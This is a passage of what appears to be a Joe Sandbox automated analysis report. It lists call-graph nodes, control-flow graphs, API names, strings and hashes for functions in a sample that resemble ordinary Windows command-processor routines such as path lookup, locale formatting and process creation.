7ff78cf4c161 22688->22694 22690 7ff78cf4c48e wcschr 22689->22690 22689->22694 22691 7ff78cf4c4ef 22690->22691 22690->22694 22692 7ff78cf4cd90 166 API calls 22691->22692 22700 7ff78cf4c4f9 22692->22700 22693->22694 22694->22302 22694->22328 22695 7ff78cf4c5bd 22696 7ff78cf4c541 22695->22696 22698 7ff78cf4b6b0 170 API calls 22695->22698 22696->22694 22697 7ff78cf4ff70 2 API calls 22696->22697 22697->22694 22698->22696 22699 7ff78cf4d840 178 API calls 22699->22700 22700->22694 22700->22695 22700->22696 22700->22699 22702 7ff78cf4b018 22701->22702 22702->22362 22703->22362 22705 7ff78cf472de 22704->22705 22706 7ff78cf64621 22704->22706 22707 7ff78cf472eb 22705->22707 22712 7ff78cf64467 22705->22712 22713 7ff78cf64530 22705->22713 22710 7ff78cf6447b longjmp 22706->22710 22714 7ff78cf64639 22706->22714 22730 7ff78cf647e0 22706->22730 22733 7ff78cf6475e 22706->22733 22765 7ff78cf47348 22707->22765 22708 7ff78cf47348 168 API calls 22764 7ff78cf64524 22708->22764 22715 7ff78cf64492 22710->22715 22712->22707 22712->22715 22724 7ff78cf64475 22712->22724 22719 7ff78cf47348 168 API calls 22713->22719 22717 7ff78cf64695 22714->22717 22726 7ff78cf6463e 22714->22726 22718 7ff78cf47348 168 API calls 22715->22718 22716 7ff78cf47315 22780 7ff78cf473d4 22716->22780 22723 7ff78cf473d4 168 API calls 22717->22723 22738 7ff78cf644a8 22718->22738 22745 7ff78cf64549 22719->22745 22720 7ff78cf472b0 168 API calls 22728 7ff78cf6480e 22720->22728 22721 7ff78cf47348 168 API calls 22721->22716 22746 7ff78cf6469a 22723->22746 22724->22710 22724->22717 22725 7ff78cf47348 168 API calls 22725->22730 22726->22710 22731 7ff78cf64654 22726->22731 22727 7ff78cf645b2 22735 7ff78cf47348 168 API calls 22727->22735 22728->22404 22729 7ff78cf47323 22729->22404 22730->22708 22739 7ff78cf47348 168 API calls 22731->22739 22732 7ff78cf6455e 22732->22727 22747 7ff78cf47348 168 API calls 22732->22747 22733->22725 22734 7ff78cf646e1 22740 7ff78cf472b0 168 API calls 22734->22740 22736 7ff78cf645c7 22735->22736 22741 7ff78cf47348 168 API calls 22736->22741 22737 7ff78cf644e2 22743 7ff78cf472b0 168 API calls 22737->22743 22738->22737 22742 7ff78cf47348 168 API calls 22738->22742 22739->22729 22744 7ff78cf64738 22740->22744 22748 7ff78cf645db 22741->22748 22742->22737 22749 7ff78cf644f1 22743->22749 22750 7ff78cf47348 168 API calls 22744->22750 22745->22727 22745->22732 22753 7ff78cf47348 168 API calls 22745->22753 22746->22734 22756 7ff78cf646c7 22746->22756 22757 7ff78cf646ea 22746->22757 22747->22727 22751 7ff78cf47348 168 API calls 22748->22751 22752 7ff78cf472b0 168 API calls 22749->22752 22750->22764 22754 7ff78cf645ec 22751->22754 22755 7ff78cf64503 22752->22755 22753->22732 22759 7ff78cf47348 168 API calls 22754->22759 22755->22729 22762 7ff78cf47348 168 API calls 22755->22762 22756->22734 22760 7ff78cf47348 168 API calls 22756->22760 22758 7ff78cf47348 168 API calls 22757->22758 22758->22734 22761 7ff78cf64600 22759->22761 22760->22734 22763 7ff78cf47348 168 API calls 22761->22763 22762->22764 22763->22764 22764->22720 22764->22729 22766 7ff78cf4735d 22765->22766 22767 7ff78cf43278 166 API calls 22766->22767 22769 7ff78cf64838 22766->22769 22779 7ff78cf473ab 22766->22779 22768 7ff78cf64820 longjmp 22767->22768 22768->22769 22770 7ff78cf43278 166 API calls 22769->22770 22771 7ff78cf64844 longjmp 22770->22771 22772 7ff78cf6485a 22771->22772 22773 7ff78cf47348 166 API calls 22772->22773 22774 7ff78cf6487b 22773->22774 22775 7ff78cf47348 166 API calls 22774->22775 22776 7ff78cf648ad 22775->22776 22777 7ff78cf47348 166 API calls 22776->22777 22778 7ff78cf472ff 22777->22778 22778->22716 22778->22721 22781 7ff78cf47401 22780->22781 22781->22729 22782 7ff78cf47348 168 API calls 22781->22782 22783 7ff78cf6487b 22782->22783 22784 7ff78cf47348 168 API calls 22783->22784 22785 7ff78cf648ad 22784->22785 22786 7ff78cf47348 168 API calls 22785->22786 22787 7ff78cf648be 22786->22787 22787->22729

                                                                                      Executed Functions

                                                                                      Function 00007FF78CF50A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsicmpwcschrwcsrchr$CurrentDirectoryNeedPath_wcsnicmpmemset
                                                                                      • String ID: .BAT$.CMD$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$PATH$PATHEXT$cmd
                                                                                      • API String ID: 3305344409-4288247545
                                                                                      • Opcode ID: 70fe977c148540083158fa9cabe6887d804174c165fa23e72430d09dac556fef
                                                                                      • Instruction ID: 4780dfe4701e76817574e1f8d0a03d68e92ba6e170cbd23e1ddcad4afe81b656
                                                                                      • Opcode Fuzzy Hash: 70fe977c148540083158fa9cabe6887d804174c165fa23e72430d09dac556fef
                                                                                      • Instruction Fuzzy Hash: 2F42C723A0968286FB54AB1199142B9E7A0FF85B94FE48134EF1E877D5DF3CE645C320
                                                                                      Function 00007FF78CF4AA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 216 7ff78cf4aa54-7ff78cf4aa98 call 7ff78cf4cd90 219 7ff78cf4aa9e 216->219 220 7ff78cf5bf5a-7ff78cf5bf70 call 7ff78cf54c1c call 7ff78cf4ff70 216->220 222 7ff78cf4aaa5-7ff78cf4aaa8 219->222 224 7ff78cf4acde-7ff78cf4ad00 222->224 225 7ff78cf4aaae-7ff78cf4aac8 wcschr 222->225 229 7ff78cf4ad06 224->229 225->224 226 7ff78cf4aace-7ff78cf4aae9 towlower 225->226 226->224 228 7ff78cf4aaef-7ff78cf4aaf3 226->228 231 7ff78cf5beb7-7ff78cf5bec4 call 7ff78cf6eaf0 228->231 232 7ff78cf4aaf9-7ff78cf4aafd 228->232 233 7ff78cf4ad0d-7ff78cf4ad1f 229->233 248 7ff78cf5bf43-7ff78cf5bf59 call 7ff78cf54c1c 231->248 249 7ff78cf5bec6-7ff78cf5bed8 call 7ff78cf43240 231->249 235 7ff78cf4ab03-7ff78cf4ab07 232->235 236 7ff78cf5bbcf 232->236 237 7ff78cf4ad22-7ff78cf4ad2a call 7ff78cf513e0 233->237 239 7ff78cf4ab7d-7ff78cf4ab81 235->239 240 7ff78cf4ab09-7ff78cf4ab0d 235->240 245 7ff78cf5bbde 236->245 237->222 243 7ff78cf4ab87-7ff78cf4ab95 239->243 244 7ff78cf5be63 239->244 240->244 246 7ff78cf4ab13-7ff78cf4ab17 240->246 250 7ff78cf4ab98-7ff78cf4aba0 243->250 257 7ff78cf5be72-7ff78cf5be88 call 7ff78cf43278 call 7ff78cf54c1c 244->257 255 7ff78cf5bbea-7ff78cf5bbec 245->255 246->239 251 7ff78cf4ab19-7ff78cf4ab1d 246->251 248->220 249->248 263 7ff78cf5beda-7ff78cf5bee9 call 7ff78cf43240 249->263 250->250 254 7ff78cf4aba2-7ff78cf4abb3 call 7ff78cf4cd90 250->254 251->245 256 7ff78cf4ab23-7ff78cf4ab27 251->256 254->220 269 7ff78cf4abb9-7ff78cf4abde call 7ff78cf513e0 call 7ff78cf533a8 254->269 265 7ff78cf5bbf8-7ff78cf5bc01 255->265 256->255 261 7ff78cf4ab2d-7ff78cf4ab31 256->261 284 7ff78cf5be89-7ff78cf5be8c 257->284 261->229 266 7ff78cf4ab37-7ff78cf4ab3b 261->266 273 7ff78cf5beeb-7ff78cf5bef1 263->273 274 7ff78cf5bef3-7ff78cf5bef9 263->274 265->233 266->265 270 7ff78cf4ab41-7ff78cf4ab45 266->270 307 7ff78cf4abe4-7ff78cf4abe7 269->307 308 7ff78cf4ac75 269->308 276 7ff78cf4ab4b-7ff78cf4ab4f 270->276 277 7ff78cf5bc06-7ff78cf5bc2a call 7ff78cf513e0 270->277 273->248 273->274 274->248 279 7ff78cf5befb-7ff78cf5bf0d call 7ff78cf43240 274->279 282 7ff78cf4ab55-7ff78cf4ab78 call 7ff78cf513e0 276->282 283 7ff78cf4ad2f-7ff78cf4ad33 276->283 295 7ff78cf5bc2c-7ff78cf5bc4c _wcsnicmp 277->295 296 7ff78cf5bc5a-7ff78cf5bc61 277->296 279->248 305 7ff78cf5bf0f-7ff78cf5bf21 call 7ff78cf43240 279->305 282->222 288 7ff78cf4ad39-7ff78cf4ad3d 283->288 289 7ff78cf5bc66-7ff78cf5bc8a call 7ff78cf513e0 283->289 291 7ff78cf4acbe 284->291 292 7ff78cf5be92-7ff78cf5beaa call 7ff78cf43278 call 7ff78cf54c1c 284->292 298 7ff78cf5bcde-7ff78cf5bd02 call 7ff78cf513e0 288->298 299 7ff78cf4ad43-7ff78cf4ad49 288->299 325 7ff78cf5bc8c-7ff78cf5bcaa _wcsnicmp 289->325 326 7ff78cf5bcc4-7ff78cf5bcdc 289->326 302 7ff78cf4acc0-7ff78cf4acc7 291->302 337 7ff78cf5beab-7ff78cf5beb6 call 7ff78cf54c1c 292->337 295->296 306 7ff78cf5bc4e-7ff78cf5bc55 295->306 311 7ff78cf5bd31-7ff78cf5bd4f _wcsnicmp 296->311 331 7ff78cf5bd2a 298->331 332 7ff78cf5bd04-7ff78cf5bd24 _wcsnicmp 298->332 309 7ff78cf5bd5e-7ff78cf5bd65 299->309 310 7ff78cf4ad4f-7ff78cf4ad68 299->310 302->302 313 7ff78cf4acc9-7ff78cf4acda 302->313 305->248 339 7ff78cf5bf23-7ff78cf5bf35 call 7ff78cf43240 305->339 320 7ff78cf5bbb3-7ff78cf5bbb7 306->320 307->291 322 7ff78cf4abed-7ff78cf4ac0b call 7ff78cf4cd90 * 2 307->322 317 7ff78cf4ac77-7ff78cf4ac7f 308->317 309->310 321 7ff78cf5bd6b-7ff78cf5bd73 309->321 323 7ff78cf4ad6d-7ff78cf4ad70 310->323 324 7ff78cf4ad6a 310->324 318 7ff78cf5bd55 311->318 319 7ff78cf5bbc2-7ff78cf5bbca 311->319 313->224 317->291 328 7ff78cf4ac81-7ff78cf4ac85 317->328 318->309 319->222 333 7ff78cf5bbba-7ff78cf5bbbd call 7ff78cf513e0 320->333 334 7ff78cf5be4a-7ff78cf5be5e 321->334 335 7ff78cf5bd79-7ff78cf5bd8b iswxdigit 321->335 322->337 354 7ff78cf4ac11-7ff78cf4ac14 322->354 323->237 324->323 325->326 329 7ff78cf5bcac-7ff78cf5bcbf 325->329 326->311 340 7ff78cf4ac88-7ff78cf4ac8f 328->340 329->320 331->311 332->331 338 7ff78cf5bbac 332->338 333->319 334->333 335->334 342 7ff78cf5bd91-7ff78cf5bda3 iswxdigit 335->342 337->231 338->320 339->248 355 7ff78cf5bf37-7ff78cf5bf3e call 7ff78cf43240 339->355 340->340 345 7ff78cf4ac91-7ff78cf4ac94 340->345 342->334 347 7ff78cf5bda9-7ff78cf5bdbb iswxdigit 342->347 345->291 351 7ff78cf4ac96-7ff78cf4acaa wcsrchr 345->351 347->334 352 7ff78cf5bdc1-7ff78cf5bdd7 iswdigit 347->352 351->291 356 7ff78cf4acac-7ff78cf4acb9 call 7ff78cf51300 351->356 357 7ff78cf5bdd9-7ff78cf5bddd 352->357 358 7ff78cf5bddf-7ff78cf5bdeb towlower 352->358 354->337 360 7ff78cf4ac1a-7ff78cf4ac33 memset 354->360 355->248 356->291 359 7ff78cf5bdee-7ff78cf5be0f iswdigit 357->359 358->359 363 7ff78cf5be17-7ff78cf5be23 towlower 359->363 364 7ff78cf5be11-7ff78cf5be15 359->364 360->308 365 7ff78cf4ac35-7ff78cf4ac4b wcschr 360->365 366 7ff78cf5be26-7ff78cf5be45 call 7ff78cf513e0 363->366 364->366 365->308 367 7ff78cf4ac4d-7ff78cf4ac54 365->367 366->334 368 7ff78cf4ac5a-7ff78cf4ac6f wcschr 367->368 369 7ff78cf4ad72-7ff78cf4ad91 wcschr 367->369 368->308 368->369 371 7ff78cf4ad97-7ff78cf4adac wcschr 369->371 372 7ff78cf4af03-7ff78cf4af07 369->372 371->372 373 7ff78cf4adb2-7ff78cf4adc7 wcschr 371->373 372->308 373->372 374 7ff78cf4adcd-7ff78cf4ade2 wcschr 373->374 374->372 375 7ff78cf4ade8-7ff78cf4adfd wcschr 374->375 375->372 376 7ff78cf4ae03-7ff78cf4ae18 wcschr 375->376 376->372 377 7ff78cf4ae1e-7ff78cf4ae21 376->377 378 7ff78cf4ae24-7ff78cf4ae27 377->378 378->372 379 7ff78cf4ae2d-7ff78cf4ae40 iswspace 378->379 380 7ff78cf4ae4b-7ff78cf4ae5e 379->380 381 7ff78cf4ae42-7ff78cf4ae49 379->381 382 7ff78cf4ae66-7ff78cf4ae6d 380->382 381->378 382->382 383 7ff78cf4ae6f-7ff78cf4ae77 382->383 383->257 384 7ff78cf4ae7d-7ff78cf4ae97 call 7ff78cf513e0 383->384 387 7ff78cf4ae9a-7ff78cf4aea4 384->387 388 7ff78cf4aebc-7ff78cf4aef8 call 7ff78cf50a6c call 7ff78cf4ff70 * 2 387->388 389 7ff78cf4aea6-7ff78cf4aead 387->389 388->317 397 7ff78cf4aefe 388->397 389->388 391 7ff78cf4aeaf-7ff78cf4aeba 389->391 391->387 391->388 397->284
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heap$AllocProcessiswspacememsettowlowerwcsrchr
                                                                                      • String ID: :$:$:$:ON$OFF
                                                                                      • API String ID: 972821348-467788257
                                                                                      • Opcode ID: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                                                      • Instruction ID: 3f75ec3b2bc026ac8534673826e6863eddbf99a0b64004c7d771824ad334b88b
                                                                                      • Opcode Fuzzy Hash: 4f886329839ce9d73f83e73040c14b409f6776bafd90df2433360a667a1c5ce6
                                                                                      • Instruction Fuzzy Hash: 7322A023A0868386FB64BF2595142B9E6A1FF49B80FE8D135DB0E4B794DF3CA544C364
                                                                                      Function 00007FF78CF551EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 398 7ff78cf551ec-7ff78cf55248 call 7ff78cf55508 GetLocaleInfoW 401 7ff78cf5524e-7ff78cf55272 GetLocaleInfoW 398->401 402 7ff78cf5ef32-7ff78cf5ef3c 398->402 404 7ff78cf55274-7ff78cf5527a 401->404 405 7ff78cf55295-7ff78cf552b9 GetLocaleInfoW 401->405 403 7ff78cf5ef3f-7ff78cf5ef49 402->403 410 7ff78cf5ef4b-7ff78cf5ef52 403->410 411 7ff78cf5ef61-7ff78cf5ef6c 403->411 406 7ff78cf554f7-7ff78cf554f9 404->406 407 7ff78cf55280-7ff78cf55286 404->407 408 7ff78cf552bb-7ff78cf552c3 405->408 409 7ff78cf552de-7ff78cf55305 GetLocaleInfoW 405->409 406->402 407->406 412 7ff78cf5528c-7ff78cf5528f 407->412 413 7ff78cf552c9-7ff78cf552d7 408->413 414 7ff78cf5ef75-7ff78cf5ef78 408->414 415 7ff78cf55307-7ff78cf5531b 409->415 416 7ff78cf55321-7ff78cf55343 GetLocaleInfoW 409->416 410->411 417 7ff78cf5ef54-7ff78cf5ef5f 410->417 411->414 412->405 413->409 420 7ff78cf5ef7a-7ff78cf5ef7d 414->420 421 7ff78cf5ef99-7ff78cf5efa3 414->421 415->416 418 7ff78cf55349-7ff78cf5536e GetLocaleInfoW 416->418 419 7ff78cf5efaf-7ff78cf5efb9 416->419 417->403 417->411 423 7ff78cf55374-7ff78cf55396 GetLocaleInfoW 418->423 424 7ff78cf5eff2-7ff78cf5effc 418->424 422 7ff78cf5efbc-7ff78cf5efc6 419->422 420->409 425 7ff78cf5ef83-7ff78cf5ef8d 420->425 421->419 426 7ff78cf5efde-7ff78cf5efe9 422->426 427 7ff78cf5efc8-7ff78cf5efcf 422->427 429 7ff78cf5539c-7ff78cf553be GetLocaleInfoW 423->429 430 7ff78cf5f035-7ff78cf5f03f 423->430 428 7ff78cf5efff-7ff78cf5f009 424->428 425->421 426->424 427->426 431 7ff78cf5efd1-7ff78cf5efdc 427->431 432 7ff78cf5f00b-7ff78cf5f012 428->432 433 7ff78cf5f021-7ff78cf5f02c 428->433 434 7ff78cf5f078-7ff78cf5f082 429->434 435 7ff78cf553c4-7ff78cf553e6 GetLocaleInfoW 429->435 436 7ff78cf5f042-7ff78cf5f04c 430->436 431->422 431->426 432->433 440 7ff78cf5f014-7ff78cf5f01f 432->440 433->430 439 7ff78cf5f085-7ff78cf5f08f 434->439 441 7ff78cf5f0bb-7ff78cf5f0c5 435->441 442 7ff78cf553ec-7ff78cf5540e GetLocaleInfoW 435->442 437 7ff78cf5f04e-7ff78cf5f055 436->437 438 7ff78cf5f064-7ff78cf5f06f 436->438 437->438 443 7ff78cf5f057-7ff78cf5f062 437->443 438->434 444 7ff78cf5f0a7-7ff78cf5f0b2 439->444 445 7ff78cf5f091-7ff78cf5f098 439->445 440->428 440->433 446 7ff78cf5f0c8-7ff78cf5f0d2 441->446 447 7ff78cf5f0fe-7ff78cf5f108 442->447 448 7ff78cf55414-7ff78cf55436 GetLocaleInfoW 442->448 443->436 443->438 444->441 445->444 450 7ff78cf5f09a-7ff78cf5f0a5 445->450 451 7ff78cf5f0ea-7ff78cf5f0f5 446->451 452 7ff78cf5f0d4-7ff78cf5f0db 446->452 449 7ff78cf5f10b-7ff78cf5f115 447->449 453 7ff78cf5543c-7ff78cf5545e GetLocaleInfoW 448->453 454 7ff78cf5f141-7ff78cf5f14b 448->454 455 7ff78cf5f12d-7ff78cf5f138 449->455 456 7ff78cf5f117-7ff78cf5f11e 449->456 450->439 450->444 451->447 452->451 458 7ff78cf5f0dd-7ff78cf5f0e8 452->458 459 7ff78cf5f184-7ff78cf5f18b 453->459 460 7ff78cf55464-7ff78cf55486 GetLocaleInfoW 453->460 457 7ff78cf5f14e-7ff78cf5f158 454->457 455->454 456->455 463 7ff78cf5f120-7ff78cf5f12b 456->463 464 7ff78cf5f15a-7ff78cf5f161 457->464 465 7ff78cf5f170-7ff78cf5f17b 457->465 458->446 458->451 466 7ff78cf5f18e-7ff78cf5f198 459->466 461 7ff78cf5548c-7ff78cf554ae GetLocaleInfoW 460->461 462 7ff78cf5f1c4-7ff78cf5f1ce 460->462 467 7ff78cf5f207-7ff78cf5f20e 461->467 468 7ff78cf554b4-7ff78cf554f5 setlocale call 7ff78cf58f80 461->468 469 7ff78cf5f1d1-7ff78cf5f1db 462->469 463->449 463->455 464->465 470 7ff78cf5f163-7ff78cf5f16e 464->470 465->459 471 7ff78cf5f19a-7ff78cf5f1a1 466->471 472 7ff78cf5f1b0-7ff78cf5f1bb 466->472 476 7ff78cf5f211-7ff78cf5f21b 467->476 474 7ff78cf5f1dd-7ff78cf5f1e4 469->474 475 7ff78cf5f1f3-7ff78cf5f1fe 469->475 470->457 470->465 471->472 477 7ff78cf5f1a3-7ff78cf5f1ae 471->477 472->462 474->475 479 7ff78cf5f1e6-7ff78cf5f1f1 474->479 475->467 480 7ff78cf5f21d-7ff78cf5f224 476->480 481 7ff78cf5f233-7ff78cf5f23e 476->481 477->466 477->472 479->469 479->475 480->481 482 7ff78cf5f226-7ff78cf5f231 480->482 482->476 482->481
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: InfoLocale$DefaultUsersetlocale
                                                                                      • String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
                                                                                      • API String ID: 1351325837-2236139042
                                                                                      • Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                                                      • Instruction ID: 366993932a13780f24b4045d3f1690255aed227f5e86bfd8296c2cb5f01da02b
                                                                                      • Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
                                                                                      • Instruction Fuzzy Hash: 75F13A67B0878296FB11AF11D9112B9A6A5FF04B80FE54135DB0D977A4EF3CE60AC360
                                                                                      Function 00007FF78CF54224 Relevance: 45.8, APIs: 19, Strings: 7, Instructions: 328threadprocessstringCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 483 7ff78cf54224-7ff78cf542a5 InitializeProcThreadAttributeList 484 7ff78cf542ab-7ff78cf542e5 UpdateProcThreadAttribute 483->484 485 7ff78cf5ecd4-7ff78cf5ecee GetLastError call 7ff78cf69eec 483->485 487 7ff78cf542eb-7ff78cf543c6 memset * 2 GetStartupInfoW call 7ff78cf53a90 call 7ff78cf4b900 484->487 488 7ff78cf5ecf0-7ff78cf5ed19 GetLastError call 7ff78cf69eec DeleteProcThreadAttributeList 484->488 492 7ff78cf5ed1e 485->492 497 7ff78cf543cc-7ff78cf543d3 487->497 498 7ff78cf54638-7ff78cf54644 _local_unwind 487->498 488->492 499 7ff78cf54649-7ff78cf54650 497->499 500 7ff78cf543d9-7ff78cf543dc 497->500 498->499 499->500 501 7ff78cf54656-7ff78cf5465d 499->501 502 7ff78cf543de-7ff78cf543f5 wcsrchr 500->502 503 7ff78cf54415-7ff78cf54424 call 7ff78cf55a68 500->503 501->503 505 7ff78cf54663 501->505 502->503 504 7ff78cf543f7-7ff78cf5440f lstrcmpW 502->504 510 7ff78cf54589-7ff78cf54590 503->510 511 7ff78cf5442a-7ff78cf54486 CreateProcessW 503->511 504->503 507 7ff78cf54668-7ff78cf5466d call 7ff78cf69044 504->507 505->500 507->503 510->511 514 7ff78cf54596-7ff78cf545fa CreateProcessAsUserW 510->514 513 7ff78cf5448b-7ff78cf5448f 511->513 515 7ff78cf54495-7ff78cf544c7 CloseHandle call 7ff78cf5498c 513->515 516 7ff78cf54672-7ff78cf54682 GetLastError 513->516 514->513 519 7ff78cf5468d-7ff78cf54694 515->519 520 7ff78cf544cd-7ff78cf544e5 515->520 516->519 521 7ff78cf54696-7ff78cf546a0 519->521 522 7ff78cf546a2-7ff78cf546ac 519->522 523 7ff78cf544eb-7ff78cf544f2 520->523 524 7ff78cf547a3-7ff78cf547a9 520->524 521->522 525 7ff78cf546ae-7ff78cf546b5 call 7ff78cf597bc 521->525 522->525 526 7ff78cf54705-7ff78cf54707 522->526 528 7ff78cf544f8-7ff78cf54507 523->528 529 7ff78cf545ff-7ff78cf54607 523->529 541 7ff78cf546b7-7ff78cf54701 call 7ff78cf9c038 525->541 542 7ff78cf54703 525->542 526->520 527 7ff78cf5470d-7ff78cf5472a call 7ff78cf4cd90 526->527 543 7ff78cf5472c-7ff78cf54738 _local_unwind 527->543 544 7ff78cf5473d-7ff78cf54767 call 7ff78cf513e0 call 7ff78cf69eec call 7ff78cf4ff70 _local_unwind 527->544 532 7ff78cf5450d-7ff78cf54553 call 7ff78cf55cb4 call 7ff78cf533f0 call 7ff78cf5498c 528->532 533 7ff78cf54612-7ff78cf54616 528->533 529->528 534 7ff78cf5460d 529->534 564 7ff78cf54558-7ff78cf5455e 532->564 539 7ff78cf5461c-7ff78cf54633 533->539 540 7ff78cf547d7-7ff78cf547df 533->540 538 7ff78cf5476c-7ff78cf54773 534->538 538->528 548 7ff78cf54779-7ff78cf54780 538->548 546 7ff78cf547f2-7ff78cf5483c call 7ff78cf4ff70 DeleteProcThreadAttributeList call 7ff78cf58f80 539->546 545 7ff78cf547e1-7ff78cf547ed CloseHandle 540->545 540->546 541->526 542->526 543->544 544->538 545->546 548->528 550 7ff78cf54786-7ff78cf54789 548->550 550->528 556 7ff78cf5478f-7ff78cf54792 550->556 556->524 560 7ff78cf54794-7ff78cf5479d call 7ff78cf6a250 556->560 560->524 560->528 567 7ff78cf547ae-7ff78cf547ca call 7ff78cf533f0 564->567 568 7ff78cf54564-7ff78cf54579 call 7ff78cf5498c 564->568 567->540 568->546 576 7ff78cf5457f-7ff78cf54584 call 7ff78cf6a920 568->576 576->546
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: AttributeProcThread$List$CloseCreateDeleteErrorHandleLastProcessmemsetwcsrchr$InfoInitializeStartupUpdateUser_local_unwind_wcsnicmplstrcmp
                                                                                      • String ID: %01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$\XCOPY.EXE$h
                                                                                      • API String ID: 388421343-2905461000
                                                                                      • Opcode ID: 55d34b9fbbbe98a267e2a1b689c77e543e9d7ab297a27b4d624c1a5c7cdf6f16
                                                                                      • Instruction ID: 24d6e0259126f4e5e6155411fa122ff08fbc4ddc25b9c933ddb03fd85a1ebe89
                                                                                      • Opcode Fuzzy Hash: 55d34b9fbbbe98a267e2a1b689c77e543e9d7ab297a27b4d624c1a5c7cdf6f16
                                                                                      • Instruction Fuzzy Hash: B4F13E33A08B8296FA60AB11E4457BAFBA4FB85780FA05135DB4D83754DF3CE545CB60
                                                                                      Function 00007FF78CF55554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295registryCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
